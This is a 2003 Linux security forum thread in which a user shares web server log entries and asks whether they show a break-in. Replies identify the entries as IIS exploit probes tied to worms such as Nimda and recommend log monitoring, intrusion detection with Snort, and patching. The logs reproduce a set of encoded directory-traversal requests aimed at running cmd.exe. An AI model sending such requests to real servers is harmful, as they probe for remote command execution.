Visit the LQ Articles and Editorials section
Go Back > Forums > Linux Forums > Linux - Security
User Name
Linux - Security This forum is for all security related questions.
Questions, tips, system compromises, firewalls, etc. are all included here.


  Search this Thread
Old 11-15-2003, 03:03 AM   #1
Registered: Mar 2003
Location: Macondo
Distribution: Mandrake 9.1, 10.1, SuSE 8.1 pro, 10.1, Red Hat 8.0/9.0
Posts: 380

Rep: Reputation: 30
Did we just get hacked?

Hello All,

I was looking at our Web Server log files last night and I saw what I think is a hack attempt. I am not sure, but it seems like the person thought this was a Windows box and I see that they tried to get a hold of cmd.exe, thus a Windows config file which I assume was meant for not so friendly purposes...can anybody give me a hint if this is indeed a hack attack???

Here is a cut from the logs: - - [14/Nov/2003:21:07:05 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 283 - - [14/Nov/2003:21:07:05 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 281 - - [14/Nov/2003:21:07:05 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 - - [14/Nov/2003:21:07:05 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 - - [14/Nov/2003:21:07:06 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 - - [14/Nov/2003:21:07:06 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322 - - [14/Nov/2003:21:07:06 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322 - - [14/Nov/2003:21:07:06 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 338 - - [14/Nov/2003:21:07:06 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288 - - [14/Nov/2003:21:07:07 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 - - [14/Nov/2003:21:07:08 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
Old 11-15-2003, 03:15 AM   #2
LQ Newbie
Registered: Nov 2003
Location: Germany
Distribution: Slackware 7.0 - 10.0
Posts: 26

Rep: Reputation: 15
looks like a part of an IIS exploit.

try: for more info.

There was a worm used this code too, can't rember it's name something like nimda!?
Old 11-15-2003, 03:22 AM   #3
Registered: Mar 2003
Location: Macondo
Distribution: Mandrake 9.1, 10.1, SuSE 8.1 pro, 10.1, Red Hat 8.0/9.0
Posts: 380

Original Poster
Rep: Reputation: 30
This person tried to get in through my Web Server, thus port 80 in this case, but how can I monitor the rest of my ports?
Old 11-15-2003, 03:39 AM   #4
Senior Member
Registered: Jul 2003
Location: Silicon Valley, USA
Distribution: OpenBSD 4.6, OS X 10.6.2, CentOS 4 & 5
Posts: 3,660

Rep: Reputation: 69
Well, you don't really monitor "ports" per se, but rather applications (after all, it's not good hitting a port if nothing exploitable is listening on it for traffic). You should review all your application logs regularly for suspicious behavior. There are several scripts out there to pick out odd log entries and bring them to your attention. Logwatch is one of them that comes to mind, but there are many others.

For monitoring all network traffic you'll want a Network Intrusion Detection System. Snort is by far the most popular of these. Nearly every Linux and BSD distribution has a pre-built package with Snort. You can also check
Old 11-17-2003, 09:11 AM   #5
Registered: Feb 2003
Location: Somewhere, UK
Distribution: Slack, OpenBSD, Debian, SuSE
Posts: 189

Rep: Reputation: 30
if you run an IDS for any period of time you'll learn that your machine will be scanned/tested for these IIS exploits nearly every day, its very common, just make sure you dont run it or if you do, patch it to buggery, patch patch patch patch and you'll be ok, usually its just oportunistic script kiddies scanning large blocks


Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is Off
HTML code is Off

Similar Threads
Thread Thread Starter Forum Replies Last Post
Have I been hacked? Please help linuxboy69 Linux - Security 11 09-07-2005 08:20 AM
Hacked? mikeshn Linux - Security 2 03-12-2004 02:57 PM
Help! Have I been hacked? Tenover Linux - Security 1 11-19-2003 04:24 PM
am i being hacked? tearinox Linux - Security 5 11-13-2003 07:00 PM
i think i've been hacked! safil Linux - Security 7 11-02-2003 11:16 AM

All times are GMT -5. The time now is 12:54 AM.

Main Menu
Write for LQ is looking for people interested in writing Editorials, Articles, Reviews, and more. If you'd like to contribute content, let us know.
Main Menu
RSS1  Latest Threads
RSS1  LQ News
Twitter: @linuxquestions
Facebook: linuxquestions Google+: linuxquestions
Open Source Consulting | Domain Registration